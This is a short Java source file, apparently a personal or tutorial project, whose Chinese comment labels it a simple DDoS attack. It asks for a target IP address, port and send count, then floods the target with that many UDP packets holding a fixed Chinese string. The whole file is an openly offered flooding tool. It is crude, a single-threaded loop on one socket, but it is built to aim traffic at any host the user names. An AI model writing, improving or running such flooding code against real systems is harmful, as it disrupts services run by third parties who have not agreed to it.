package com.lovegu.one;

import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Scanner;

/**
 * <p>
 * 实现简单的DDos攻击
 * </p>
 *
 * @author 老顾
 * @since 2023/3/29
 */
public class DDosStack {

    public static void main(String[] args) throws Exception {
        Scanner scanner = new Scanner(System.in);

        System.out.print("请输入目标IP地址：");
        String ipAddress = scanner.nextLine();

        System.out.print("请输入目标端口号：");
        int port = scanner.nextInt();

        System.out.print("请输入发送次数：");
        int sendCount = scanner.nextInt();

        DatagramSocket socket = new DatagramSocket();
        InetAddress address = InetAddress.getByName(ipAddress);

        String message = "这是我发送的数据";
        byte[] buffer = message.getBytes();

        for (int i = 0; i < sendCount; i++) {
            DatagramPacket packet = new DatagramPacket(buffer, buffer.length, address, port);
            socket.send(packet);
            System.out.println("已发送第 " + (i + 1) + " 次数据包");
        }

        socket.close();
    }
}
